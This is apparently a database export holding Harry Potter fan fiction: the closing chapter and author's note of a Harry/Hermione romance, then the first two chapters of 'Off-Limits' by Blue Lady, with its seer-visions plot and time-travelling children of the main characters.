I\'m so relieved!&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;So are we, we can tell you,&#8221; said Mr. Granger. &#8220;But I am concerned about all this business here. Harry how are you feeling?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> How to answer that question. The truth was infinitely more complex considering the deep personal connection he had made with Hermione over the past week, and especially the day before--the fruit of years of silent longing, Harry now realized. But he responded with the dark cloud that had been tainting his mind over most of the summer. Yet now&#8230;it was lighter. It wasn\'t so much that he had forgotten the bad feelings and the tightness in his chest that he was so used to by now. It seemed rather that a good amount of it had lifted. Something else was taking up its place, he didn\'t quite know what though, and would have to examine it further. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> In the mean time. &#8220;I\'m feeling alright, I suppose. It\'s stressful, but now that I know Ron and his family are safe, I can rest easier.&#8221; And this was true. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Voldemort is out there still,&#8221; Harry continued. &#8220;But I guess&#8230;I feel brighter knowing that I don\'t have to face him or these feelings.....alone.&#8221; He finished then glanced at Hermione. Could that have been it? </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Smart lad,&#8221; Mr. Granger replied. &#8220;Yes, I imagine with Dumbledore around and the Ministry of Magic--indeed the entire Wizarding world--against Voldemort and looking for him, you\'re safer than you think. Especially with your return to Hogwarts and under Dumbledore\'s watchful eye.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Speaking of Hogwarts,&#8221; Mrs. Granger interrupted. &#8220;You two better get packing. Perhaps it is best you got up early today. We\'ll need to get you to the train station by this early afternoon so that you can be nice and settled back at school.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry and Hermione agreed silently and the conversation continued while Mrs. Granger fixed breakfast. After being stuffed with buttered muffins, Hermione left to her room to gather her things and Harry did the same in the living room. He folded up his conspicuously well-made bed and searched the house for his various accoutrements, including cleaning out the hall bathroom of his toiletries. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> While Harry was finishing up, and Mr. and Mrs. Granger went back outside to unload their luggage, Hermione innocently called Harry back to her room. Everything in her room was orderly again and he saw when he walked in that any items he had left there, such as books or his wand, were set in a neat little pile by her bed. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione peaked through her bedroom window blinds to make sure her parents were still outside struggling with the remaining luggage in their trunk. Satisfied that they were, she turned to give Harry a relieved smile. &#8220;That was so close!&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Tell me about it,&#8221; Harry said. &#8220;I don\'t think my heart has ever pounded so fast&#8230;..except for yesterday.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione giggled. &#8220;You\'re sweet.&#8221; Then she paused and stared at Harry, who returned the look. Finally she spoke. &#8220;That was wonderful, Harry. All of it.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;It was,&#8221; Harry said contemplatively. Another pause. Then, &#8220;I love you, Hermione.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I love you too, Harry.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry reached for her hand and they sat down simultaneously on the corner of her bed. They kissed, a short and sweet message, and then sat holding hands in silence for a while until they heard the front door open and the commotion of Hermione\'s parents. They dropped their hands away, but it wouldn\'t be the last time they would sit in loving silence holding hands and kissing, not at all. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The rest of the day came with a grateful amount of normalcy and routine. Harry, Hermione, and her parents lounged and talked for a few hours, laughed and joked. The two young Hogwarts students were cool and casual around each other the whole time, fully relaxed. When the time came, everyone loaded up the car with Hogwarts luggage and piled in for the long trip to the station. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> On the road, when Mr. and Mrs. Granger were consumed in the traffic and directions and chatting between themselves, in the backseat Hermione scooted closer to Harry and leaned her head on his shoulder. He looked down and saw that she closed her eyes and sighed, even though she obviously wasn\'t tired. Harry sighed too and felt a connection. He knew then that yes, she too fell into his mind just as he had fallen into hers at the height of their almost cosmic ecstasy. Wait, perhaps it wasn\'t that. Perhaps it was more accurate to say that they did in fact become one, their selves merging along with the sensation. And Harry was fine with that, happy and hopeful about it. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> At one point, Mrs. Granger looked over her shoulder at the two of them to make sure they were okay in a logic that made sense only to mothers. When she saw them cuddled next to each other, Hermione\'s head on Harry\'s shoulder and his head on hers, a vague look of alarm flitted across her face. Harry looked right at her and saw her relax and the ghost of a smile replaced the temporary moment of concern. There was understanding in her eyes. Harry didn\'t know what kind. Could she tell? How deep is a mother\'s intuition? She recognized a truth in their sweet, relaxed pose though, and what\'s more, she accepted it. Whatever she knew, as much or as little, that little part of her that recognized something there was satisfied with it, glad for it even. At least Harry was want to speculate. A smile passed between him and Mrs. Granger and then she faced forward and returned to the traffic and quiet conversation with her husband. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She did see something. Harry felt his own intuition awaken at the knowledge. What was it? A connection. And Harry felt it too, something as old as the stardust and magic that made up his body; older still. Harry smiled, he knew what it was. It was sappy and true and greater than love, it was the deepest of human connections, and he had it now with Hermione; something that could not be lost. He would feel it constantly now. It would be there when they arrived at the train station, when they arrived at Hogwarts, when they would have to temporarily part ways--a true moment of agony it will be--to fill in their respective quarters. It would be the foundation of the young heat that would continue to grow between them as they would plan secret liaisons and hidden kisses. It would be there when they graduated. It would be there when Voldemort came. That dark cloud was not gone but it was no longer so threatening or so terrible. He felt now a power, a strong power, akin to the magic that has protected him all these years, given to him by his mother. A primal love. No matter what happened, no matter what lay ahead in the black times yet to come--and they would come--he would face them with all the confidence and strength in the world because he had Hermione, and she had him. They were one now and always would be. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> And that was the most powerful thing in the world. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The End. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Author\'s Note: The end. Wow, that took longer than it should have. I took a year and a half to write something 39 pages long total, and which I could have started and finished during one feverish weekend. I would like to thank all of you readers, faithful and new, who have complimented and criticized this endeavor. And I\'d like to infinitely apologize for taking so long to complete it, especially taking exactly 264 days (1 day shy of a complete year!) to finish this last chapter, which comes to less than five pages. In many ways this venture was very much removed from my usual lifestyle, as those of you know who have actually cared to read my boring author\'s notes. It was infinitely enjoyable though, and I feel greatly rewarded that I have completed it, given that I am of the type that has trouble finishing things once I start them. Anyway, this was my first Harry Potter fanfic, and quite possibly my last. I have two other story ideas, one that\'s short enough to possibly churn out in a good day of writing--at least a rough draft. The other, however, is a bigger idea than I have the inspiration for. But who knows; maybe Book 6 will bring it out of me. In either case, this exists and I am happy for it. I hope you have enjoyed this final chapter--as well as the story as a whole--and that the ending satisfies you as it does me. Happy Casting. </p>\n\n<address>\n\n<a href="http://wvware.sourceforge.net/"><img src="wvSmall.gif" height="31" width="47" align="left" border="0" alt="wvWare"></a>\n\n<a href="http://validator.w3.org/check/referer"><img src="vh40.gif" height="31" width="88" align="right" border="0" alt="Valid HTML 4.0!"></a> Document created with <a href="http://wvware.sourceforge.net/">wvWare/wvWare version 1.0.0</a><br>\n\n\n</address> --&gt; '),
	(204, 1, 'Off-Limits by Blue Lady <p>Summary: The three new students at Hogwarts are hiding a secret. Who are they and role do they play in Ginny\'s visions of the future? Meanwhile, as their parents try to figure out their identities, the Potter and Malfoy kids find themselves in a deadly race against time... </p><p>Disclaimer: Don\'t own Harry Potter. Duh. </p><p>Author\'s Note: Done a bit of revision to the original version...as well, I\'ve tried to get rid of the most significant pet peeves that people have had about Harry Potter fanfiction, but I\'m warning you - the characters may still sound a bit OCC. So anyways, enjoy and don\'t forget to review! =) <br/> </p><p>Chapter 1: The Shooting Star </p><p>Down in the Great Hall of Hogwarts School of Witchcraft and Wizardry, a party was in full swing. It was the party right before the Christmas holidays when exams were done with for the term and students were celebrating before most of them went home for Christmas. However, there was one student who hadn\'t joined in the fun. </p><p>High up in the astronomy tower, a solitary figure could be spotted if one looked carefully. </p><p>Hermione Granger stared out the window of the Astronomy Tower. Her eyes were thoughtful as she searched the star splattered night sky as though they had an answer to her problems. Even as a small girl, she had been fascinated with the many different stars in the sky and would often spend all night just gazing through her parent\'s telescope before going to bed. However, just because astronomy happened to be a hobby of hers didn\'t mean she thought that you could see your future just by looking at the stars. That she would leave for Trelawney, that old fake. </p><p>The stars of the Big Dipper sparkled at her and her silver prefect\'s badge shone, reflecting the moonlight. For a few minutes, the only sound was her quiet breathing as the same thoughts ran throughout her head again. </p><p>"I like Harry. It\'s just a phrase. I\'ll get over it. But he\'s Harry freaking Potter! One doesn\'t get over Harry Potter. But I like him as a friend too." Here she placed her head in her arms and growled. "This is not good!!" </p><p>Why him?! Hermione swore that she could spend the next year asking herself that same question and still remain without an answer, even though there were so many reasons. She was in denial - and she was going to remind in there until this silly phrase of crushing on the Boy-Who-Lived passed. </p><p>Suddenly, she head footsteps echoing on the stairs to the tower. Who could it be at this hour? A head of wavy auburn hair was soon seen and Hermione sighed in relief, if not a bit disappointed. There was a tiny part of her that wished Harry would miss her presence enough to go look for her. </p><p>"Were you expecting somebody?" asked Virginia Weasley, as she stopped beside Hermione. </p><p>"No, was I suppose to?" </p><p>"Well, I know that some couples usually meet up here..." </p><p>Hermione blanched. "No, that\'s definitely NOT why I\'m here." Then her expression grew wistful, "Besides, I\'m not paired up with anyone anyways." </p><p>"Yeah, Harry\'s always been a bit dense when it comes to these things. Men are like that, I suppose. When a girl hates a guy, he complains that she\'s throwing him mixed signals, but when she does, he\'s too stupid realize it. When he finally does, chances are the girl\'s given up already." Ginny paused. "It\'s complicated. </p><p>However, Hermione\'s eyes had widened at the mention of her best friend. "Why," She said slowly and then cleared her throat. "Why did you mention Harry?" she asked cautiously. </p><p>"You fancy him." It wasn\'t a question. </p><p>The latter blinked. "No I don\'t!" she said haughtily. "He\'s my best friend!" </p><p>"That\'s what they always say." muttered Ginny "Everyone\'s always in denial." she rolled her eyes inwardly. </p><p>The other girl chose her words carefully, "Ginny, didn\'t you, uh, fancy him a bit a few years ago?" </p><p>Hermione was surprised when the other girl burst out laughing. "My crush on Harry? Oh, that ended in 3rd year. It\'s more than painfully obvious that he\'s only interested in one girl, only he\'s too dense to realize it." </p><p>"Probably Cho." </p><p>"Nah, rumor is that she\'s met some guy back in Hong Kong during the summer." </p><p>"Interesting." Here Hermione looked at Ginny, "So why aren\'t you at the dance? I always thought that you enjoyed that sort of thing." </p><p>"I do, but it\'s just, well, Hermione, promise me you won\'t tell Ron or Harry about what I\'m going to say next." </p><p>Hermione shook her head, "If it\'s something life-threatening, then I can\'t promise you that." </p><p>"Well, Dumbledore already knows about it, so it should be alright." </p><p>"I guess. So what\'s bothering you?" </p><p>Ginny gazed out the window. "Hermione, what do you know about seers?" </p><p>Hermione closed her eyes. "I know that there\'s only a small population of people that are actually real \'seers\'. These people have what is known as the Second Sight which allows them to see ahead into the future. However, this only occurs when they reach their mid or late teens." </p><p>There was a brief silence after this before Ginny finally spoke. "I\'ve been getting those visions ever since the end of September." she said quietly. </p><p>Hermione\'s eyes flew open. "You\'re a seer?" she breathed. "Ginny, that\'s wonderful! Does your family know?" </p><p>"Only Mom, Dad and Charlie do. I don\'t want Ron to know yet though." </p><p>"But why not?" Hermione\'s eyes were confused for once. </p><p>Here Ginny snorted. "Because I don\'t want to be widowed before I get married." </p><p>"You saw who you were marrying?" </p><p>"Not exactly saw...but I\'d say it\'s pretty obvious with all the wedding photos around the house, not to mention my son looks almost exactly like him. I haven\'t decided whether that\'s a good thing or not though. It can be pretty unsettling sometimes." </p><p>"I think you\'re losing me." murmured Hermione. </p><p>"Why don\'t I start at the beginning?" </p><p>"That would be nice." </p><p>"It all started one day in History when I was getting bored out of my mind as usual..." </p><p>******************************************* </p><p>Ginny looked around warily as Professor Binns droned on about yet another Goblin Revolution. It was amazing how these bloody battles could sound so boring when he was teaching it. Too bad Natalie wasn\'t here to keep her company, then she\'d have someone to pass notes to at the very least. Ginny glanced out the window sleepily and spotted the sixth years down on the Quidditch fields with Madam Hooch. Why did the teachers always insist on putting the Slytherins in the same class as the Gryffindors? No doubt Harry and Malfoy would soon end up in yet another fight. Although, now that she thought about it, Malfoy had been strangely out of character ever since the middle of last year. However, sleep finally overcame her and she drifted off... </p><p>"Dong, Dong, Dong." </p><p>The sound of a Grandfather clock awoke Ginny from her nap. Sighing, she just closed her eyes again when a thought registered in her mind - there wasn\'t a Grandfather clock in the classroom... Her eyes flew open immediately and she sat up hastily, looking around at her surroundings. Somehow, instead of sitting in the History classroom facing Professor Binns, she was lying in a comfy armchair, in a corner of a huge room which seemed to be somebody\'s living room. </p><p>Ginny stood up in amazement - this place was huge! Red curtains hung from the side of a tall window and looking out, she could see a vast expanse of fresh green grass. </p><p>Where was she?! </p><p>Finally Ginny calmed down enough to think about what she had gathered so far. Obviously whoever owned this manor, and she could tell from the vast field of freshly cut grass and the beautiful, well-kept gardens beside it, had to be stinking rich. The owner didn\'t seem to be home though, judging from how quiet the house seemed to be. </p><p>"That\'s good," she thought, heading away from the window. "It wouldn\'t help to be caught trespassing on unknown property." This way, she\'ll have some time to find her way out before the owners arrived. </p><p>However, as she made her ways to the tall doors that led out of the living room, she noticed some pictures sitting on the mantle of the fireplace out of the corner of her eye. Curiosity soon won and she made her way over, starting at the left side of the fireplace. </p><p>"Malfoy?!" she thought incredulously. It seemed like a picture of a younger Draco, though; he had the same blond hair, same arrogant smirk, brown eyes...wait a second. Malfoy had silver-gray eyes, not brown! Ginny looked more closely at the photograph and noted more subtle differences between this boy and the Malfoy she knew. </p><p>"Must be a relative of his." she thought as she moved on to the next photo. In this one, the boy from the previous photo was present, only he seemed to be a few years younger. Beside him were two girls, twins, apparently, judging from their almost identical smiles. The only difference was that the one on the right had curly red hair while the other one had blond hair. Both the twins had silver-gray eyes. "They must be related to Malfoy." thought Ginny, placing the picture back on the mantle, "I haven\'t seen eyes that color anywhere else." </p><p>She continued looking at a few more pictures containing the three siblings before she paused at a larger one. "Finally." This one was a wedding photo. From what she could see, the bride had long wavy auburn hair while the groom had pale blond hair. However, their faces were obstructed because the two of them were currently kissing. "Very passionately too," noted Ginny, but she was getting frustrated. Who were they?! </p><p>When the two figures in the photo finally separated and smiled at each other, Ginny felt her legs give way as she collapsed onto the carpeted floor. She knew where she was now, alright, and she knew who the kids in the photos were too. They were her children - and their father, her husband, was Draco Malfoy. </p><p>Her family was going to freak when they heard about this. </p><p>*************************************** </p><p>Meanwhile, Hermione had an expression on her face that was halfway between amusement and disbelief. Actually, at the moment, she wasn\'t even sure if she had heard Ginny right. A Malfoy and a Weasley? </p><p>"You think I\'m lying, right?" a quiet voice cut into her thoughts. </p><p>Hermione changed the subject, "So, who else besides me knows about these visions you\'re receiving?" </p><p>"Professor Dumbledore does. He even gave me a pensieve so they wouldn\'t overwhelm me." </p><p>"Well, if the Headmaster believes you, then you are telling the truth." said Hermione slowly and then she lowered her eyes. "I\'m sorry, it\'s just that I\'ve seen too many fakes like Trelawney to realize who\'s a genuine seer." </p><p>"It\'s okay, Hermione." The redhead smiled at her. "I thought I was hallucinating at first. But then I talked with Natalie and Luna and they said I was perfectly fine, so I went to see McGonagall and she took me to see Dumbledore." </p><p>"Did you tell him about you and Malfoy?" </p><p>Ginny flushed scarlet. "No...I, uh, kinda left that part out." </p><p>"But then, what did you tell him?" </p><p>"Well, I\'ve had some other ones too, besides the...um, Malfoy-related parts." </p><p>"So were you in the vision or just witnessing it?" </p><p>The redhead paused. "It\'s hard to say. Sometimes I\'m just invisible and sometimes.... Maybe I\'m just dreaming the other times." Her eyes took on a faraway look. </p><p>Hermione looked at her sympathetically. "Are they so horrible?" </p><p>"No," said Ginny slowly, "But I never thought he would be so...." Here the blush returned to her face again and she looked at her shoes, "It\'s so intense I can\'t even look him in the face after one of those sometimes." she whispered. How could she when all she could think about was the feel of his body over hers? Ginny felt her face heat up even more at the memory. </p><p>The other girl grimaced. "I can just imagine Ron\'s reaction when he hears about this." It probably involved a numerous amount of hexes and jinxes, not to mention a black eye or two once Ron decided that his fist was more efficient. </p><p>"No!" Ginny burst out, grabbing onto Hermione\'s arm. "You can\'t tell him!" </p><p>Hermione winced slightly at the tight grip Ginny had on her arm. </p><p>"Sorry." mumbled Ginny, noticing her reaction, "But it\'s not something I want him to know yet." </p><p>"I wasn\'t going to tell him." she said, "You\'re old enough to make your own decisions. Besides," Here Hermione grinned at her, "Your brother maybe too busy with Luna to beat Malfoy up anyways, despite any past disagreements they may have had." </p><p>"Thanks, Hermione." Ginny gave her a grateful smile. </p><p>"Are you avoiding him?" she asked after a moment of silence. </p><p>"A bit." Ginny fidgeted slightly. "I mean, he has changed somewhat after that incident last year at Malfoy Manor, but he\'s still Malfoy." </p><p>"Well, at least he and Harry can actually have a civil conversation now." said the older girl wryly, "I\'d never thought I\'d see that." </p><p>"Speaking of which," A glint appeared in Ginny\'s eyes, "What are you going to do about Harry?" </p><p>"Do?" Hermione started wringing her hands unconsciously. "I\'m not going to do anything! There\'s nothing worth doing. It\'s just a little phrase, I\'ll get over it." </p><p>"What about your children? I don\'t think they\'ll agree." Ginny thought to herself, but then out of the corner of her eye, she spotted a streak of light shooting across the star-covered night sky. "Oh, look Hermione! It\'s a shooting star!" </p><p>"So it is." commented Hermione as she leaned out beside the younger girl. </p><p>"Well, what are you waiting for?" demanded Ginny, although her eyes were sparkling. "Make a wish!" </p><p>******************************************** </p><p>Meanwhile, at the exact same time the shooting star appeared in the sky, a brilliant flash of light occurred and three figures suddenly appeared in one of the dark empty hallways of Hogwarts school. </p><p>They stepped out of the shadows and made their way along the familiar hallways to the stone gargoyle that guarded the entrance of Professor Dumbledore\'s office. However, they discovered that the password now was very different from the one they had been used to... </p><p>"Pumpkin Pastry?" the lead figure asked tentatively. His jet-black hair and emerald-green eyes were almost concealed by the dark-colored cloak he had on. </p><p>The gargoyle remained still. </p><p>"Of course it\'s something different, stupid! Do you honestly think Dumbledore uses the same password twenty years in a row?" The second spoke contemptuously. </p><p>"As if you\'re so smart, Malfoy!" hissed the third figure. Like her brother, her eyes took after their father as well, but right now they were shooting fire at the blond beside her. </p><p>"I know I am, thank you very much." he replied arrogantly. </p><p>"Argh!" the girl gritted her teeth in frustration. "How can you honestly stand him?!" she spoke furiously to her brother, gesturing towards the smirking blond. </p><p>"I\'ll curse him later. I\'ll use the one Dad taught us on Saturday - very useful for dealing with annoying ferrets." He added as he dug around in his pack. "Which one of you has the map?" </p><p>"I do! Gimme a sec while I find it..." The girl swung her backpack onto the ground with a thump. </p><p>"Wait a minute. This better not be one of those curses that-" </p><p>"Don\'t worry, we\'ll leave your beautiful face intact." said the dark-haired boy with a straight face. </p><p>"Don\'t even think about turning me into a ferret." </p><p>"I forgot. You Malfoy men are awfully sensitive about that, aren\'t you?" </p><p>"Sometimes I really wonder why they didn\'t put you in Slytherin." </p><p>"Simple. I\'m the heir of Gryffindor. The question is, why didn\'t they put you in Slytherin? You are the heir, aren\'t you?" </p><p>"And get stuck with all those dim-witted Death Eater wannabes? Are you crazy? Besides, they wouldn\'t want to have the heir of Slytherin slaughtered on his first day just because his dad had some sense." </p><p>"You wouldn\'t be slaughtered. You\'d just be an annoying git, as Uncle Ron is fond of calling your father, not that you aren\'t already." The dark-haired boy said the last part under his breath. </p><p>"And you call yourself my friend?" </p><p>"Your best friend, actually." </p><p>"Since when did this new development occur, Potter?" asked the blond sarcastically. </p><p>The other boy gave him a dry grin and opened his mouth to reply, but they were interrupted as the girl handed the old piece of parchment over to her brother. </p><p>"I solemnly swear that I am up to no good." he whispered, tapping his wand against the parchment. They watched as lines burst from where the wand touched the parchment to form a complete map of Hogwarts from where they were standing. </p><p>In a louder voice, he turned to the gargoyle again and spoke. "Strawberry drop." </p><p>This time the gargoyle finally sprang aside, and they made their way up the spiraling staircase and into the Headmaster\'s office. </p><p>"Now what?" questioned the girl out loud. </p><p>"Now we wait." said the boy with black hair, his green eyes reflected by the light the moon was shining in. </p><p>******************************************* </p><p>So concludes Chapter 1. <br/> <br/> '),
	(204, 2, 'Off-Limits by Blue Lady <p>I don\'t own Harry Potter, but I do own this plot, crappy as it is and anyone who tries to steal it will find themselves in a dark stinking pit along with 312 biting tarantulas (I\'m so nice, aren\'t I?). Anyways, the gang\'s in 6th year while Luna, Natalie and Ginny are in 5th. This follows off from PoA so it doesn\'t follow the events in GoF and OotP in any way, except my inclusion of Luna in here so Ron wouldn\'t feel left out. ^.~ I would also like to thank everyone that has reviewed so far - I really appreciate it!! For all the FF.net readers, this is going to be H/Hr, D/G and a bit of R/Lu. For those of your @ Portkey, this should be fairly obvious by now. </p><p>P.S. Ginny\'s going to be blushing quite a bit for now, but no flames about that, please! </p><p>Chapter 2: Snowday </p><p>Hermione opened her eyes slowly as her alarm clock went off. Yawning, she sat up on the side of her bed and stretched before reaching for her school robes. Minutes later, she was walking down the stairs to the common room where she spotted Ginny. </p><p>"Morning," she said sleepily. </p><p>"Good morning," yawned Ginny, "The boys aren\'t up yet, are they?" </p><p>"Apparently not. Let\'s go get some breakfast. I\'m really hungry." Hermione said as her stomach let out a growl. </p><p>Walking out of the Gryffindor common room and down to the Great Hall, she let out another involuntary yawn. </p><p>"Did you skip dinner too last night-" Ginny shrieked as a hand clapped itself down on left shoulder. </p><p>"Where were you two last night? Harry and I were looking all over for you!" demanded a new voice. </p><p>"Good morning to you too, Natalie." said Hermione amusingly. </p><p>"DO YOU REALIZE YOU\'RE GOING TO GIVE ME A HEART ATTACK ONE OF THESE DAYS?!" yelled Ginny angrily, turning around to face their friend. </p><p>Natalie just ignored this as she repeated again, "So where were you two?" </p><p>"Astronomy Tower." </p><p>"So you gave up Harry-staring to go star-gazing." </p><p>Hermione flushed. "I do not stare at Harry!" </p><p>"No more than Ginny here is avoiding Draco." replied the other girl breezily. </p><p>The redhead rolled her eyes in exasperation, "I am not!" </p><p>However, her thoughts soon drifted towards the blond Slytherin. One particular incident stood out in her thoughts... </p><p>Last year had been a year of surprises. First there was the arrival of Natalie, who, surprisingly, turned out to be the daughter of Slytherin\'s Head of House. </p><p>When Harry had been kidnapped in a trap laid by Lucius Malfoy and Lord Voldemort, Natalie, Hermione, Ron and Ginny had rushed off to the rescue, not knowing that Harry had already worked out a plan with Draco. In the end, Draco had saved them by betraying his own father and almost losing his own life in the process. He had been in coma for two weeks already at that time. </p><p>During those two weeks, Ginny was often by his bedside as were the rest of the gang. Ginny had cried herself to sleep those nights, telling herself that it would be her fault if Malfoy had died. Afterall, Lucius Malfoy had aimed that curse at her, not him. She also remembered how relieved she was when she\'d heard that he had finally awoken. After everyone had left, she had creep in quietly, in case he was sleeping again. </p><p>"What is it, Weasley?" he had asked, only this time it was without his usual sneer. </p><p>"I want to thank you for sa-sav-saving my life, wh-when you didn\'t have to and you know..." she had stammered. </p><p>"You\'re welcome," he said gruffly. </p><p>Boy, was she surprised. That had certainly not been the reaction she had been expecting. Noticing that she was staring, Ginny flushed. She started to walk around the bed to the door, when she paused and came back. </p><p>To Draco\'s amazement, she leant down and placed a soft kiss on his left cheek. "Thank you." she said softly and then she left. </p><p>If she had looked back, she would have seen that the usually unfazed Draco Malfoy had been staring at her, dazed, one hand on the spot on his cheek where she had kissed him. </p><p>Of course, she hadn\'t been counting on receiving more visions/fantasies on what would happen if Malfoy actually had some feelings for her. She cursed inwardly as she felt her face heat up again at the memory of some of the more recent visions she had received. Why couldn\'t she have normal visions like a normal seer?! </p><p>"Hmm...Ginny\'s face seems to be turning an interesting shade of red," commented Natalie, scrutinizing the redhead\'s face. "Maybe Draco can help..." she added mischievously. </p><p>Ginny froze for a moment before she turned around slowly. "You have a death wish - and I will be happy to grant you that wish." she said with a evil smile. </p><p>The grin faded rapidly from Natalie\'s face as she gulped at the expression on Ginny\'s face - and ran. </p><p>"Oh no you don\'t!" </p><p>Hermione simply shook her head before she followed them at a more normal pace. </p><p>Up ahead, Natalie was just looking back to see where Ginny was when she smacked right into someone. </p><p>Half a second later, Ginny rammed into them and the three of them went tumbling onto the ground. </p><p>Ginny placed a head on her head as she opened her eyes - and then she closed them when she saw just who they had collided with. "Oh no." she moaned, "Not you." </p><p>"Thanks. I feel so loved, Weasley." a familiar voice replied sarcastically. </p><p>*************************************** </p><p>"Geez, I know you girls just love making advances at great-looking guys like me," Draco drawled, "but don\'t you think you could have waited until after breakfast?!" He scowled at the two girls currently sprawled on top of him. </p><p>Ginny opened her mouth to retort, but Natalie beat her to it. "I thought you were used to girls falling at your feet," she said sarcastically as she got up and dusted herself off, "You know, the daily routine of being a great-looking guy such as yourself. Ginny, are you planning on getting off him anytime soon?" She said the last part with a tinge of amusement in her voice. </p><p>Ginny fought the blush that was straining to appear and tried moving when a hand suddenly pressed itself tightly against her waist. </p><p>"Watch where you put that leg of yours, Weasley." said Draco in an oddly strained voice. </p><p>She looked down and wished that she hadn\'t - her knee was currently digging against a particularly sensitive part of his body at the moment. That wasn\'t good. </p><p>"Sorry," she mumbled as she scrambled off of him and dusted herself off, throwing a glare at the girl beside her. "I know what you\'re thinking." she said darkly. </p><p>Natalie tried to look innocent. "Do you now?" </p><p>"Yes, and I do NOT feel that way about...you know what." </p><p>"Hey, you\'re the one with the erotic dreams, not me." </p><p>"They are VISIONS and they are NOT erotic!" Ginny hissed. </p><p>"I believe you. That\'s why you\'re going out of your way to avoid Mr. Mal-" Ginny clamped her hand tightly over Natalie\'s mouth and dragged her over to the doors leading to the Great Hall. </p><p>Meanwhile, Draco just raised an eyebrow as he was left standing alone in the hallway. "What was that all about?" he wondered out loud. </p><p>**************************************** </p><p>Once they were inside, Natalie jerked away from Ginny\'s grasp and hurried over to Professor Snape, who was currently making his way towards the Staff table. </p><p>"Mind if I sit with you today?" she asked innocently. </p><p>Severus gazed at his daughter with a hint of amusement in his eyes. "Students aren\'t allowed at the staff table." </p><p>She grabbed onto his arm. "I\'m going to be hexed, cursed or poisoned if you don\'t. How can you do this to me?!" Natalie finished this on a slight wail. </p><p>"I\'m sure you can take care of yourself perfectly fine." he said briskly, "Malfoy looks as though he could use some company though." </p><p>Natalie brightened. "That\'s a great idea! Thanks, Professor!" </p><p>At the Gryffindor table, Ginny stared darkly at the other girl. "Remind me to owl the twins later." </p><p>Hermione reached for a piece of toast. "What for?" </p><p>"To tell them that I\'ve found a guinea pig for them to test their new products on." </p><p>********************************* </p><p>"Aren\'t you a bit old to be playing tag?" Draco sneered as he leaned back in his seat. </p><p>"Hey, it\'s not my fault someone can take a joke." </p><p>"Interesting scenario out there, Malfoy." Draco started as a voice sounded in his head. </p><p>He growled, "What is it now, Potter?" </p><p>Nobody knew about it, but the events leading up to the final battle and defeat of Voldemort had contributed to the mind bond that Draco and Harry now shared, both of which used it to annoy the heck out of the other. Especially during exams, when Draco would be taunting Harry about his dismal potions mark which the latter retaliated by mentally singing the song Draco detested the most all through his exam in History of Magic. It was a win-win situation in a certain sense. </p><p>"Amusing, that scene back there in the hallway." </p><p>"Well, unlike some people who have trouble finding a girlfriend, woman literally throw themselves at me." replied Draco breezily. </p><p>"Must be all that cuddly ferret charm of yours." </p><p>"Go shag Granger already and leave me the hell alone." </p><p>He smirked when he saw Potter spit out the pumpkin juice he had just been drinking before throwing him a glare. </p><p>"Harry, are you alright?" Hermione asked, her eyes filled with concern. </p><p>"I\'m fine. Really, I am." He added as she raised an eyebrow. "Are you implying something, Malfoy?" He thought back angrily, "Because that is the-" </p><p>"So you\'re not getting laid. That\'s not my problem now, is it." </p><p>Harry placed his hand over his eyes in exasperation. "Is that all you ever think about, Malfoy?" </p><p>"No, which is why my grades are so much better than yours. For example, your marks in Potions are simply pathetic while-" </p><p>"Shut up, Malfoy." </p><p>******************************** </p><p>After breakfast, the four of them wandered out onto the snow-covered grounds, Luna having joined them for breakfast a bit later after the incident out in the Great Hall earlier that morning. </p><p>Hermione smiled, "I\'ve always liked the sight of fresh snow." she said to Harry. "It seems so peaceful..." </p><p>"Let\'s have a snowball fight!" said Ginny gleefully. </p><p>"Or not." </p><p>"C\'mon, it\'ll be fun! Luna and I can go against you and Hermione and we can pelt Ron when he finally gets his butt out here!" The redhead grinned at them. </p><p>"Mm hmm." replied the blond absentmindedly, her eyes focused onto the distance. </p><p>Ginny bent over and picked up some snow. Packing it into a snowball, she tossed it up and down as she cast an eye over the grounds. Suddenly, a mischievous grin appeared on her face as she spotted her target. "On second thought, hold that snowball fight for a minute. I have some revenge to dish out!" Draco and Natalie had just came out on of the side doors of the castle. </p><p>Harry raised an eyebrow and gave Hermione a slightly uneasy look, "I don\'t think I like the sound of that." </p><p>"Oh, c\'mon. At least I\'m not doing anything the twins wouldn\'t do." </p><p>"Which is not much." </p><p>Suddenly, Harry had an idea. "Hey Malfoy." </p><p>"What is it this time, Potter?" asked Draco irritably. </p><p>"Move two steps to the left and don\'t look behind you." </p><p>"And why the bloody hell should I listen to you Potter?" </p><p>"Just do it!" </p><p>However, Draco was curious enough that he did the exact opposite - putting him right in the path of Ginny\'s magically enchanted pile of snowballs. </p><p>Harry just sighed as Draco was hit by about eight snowballs in a row, pelting him and his cloak white. "You just never listen, do you?" </p><p>"Shut up Potter." snarled Draco, angrily brushing some of the snow from his face as Ginny came running up to him. 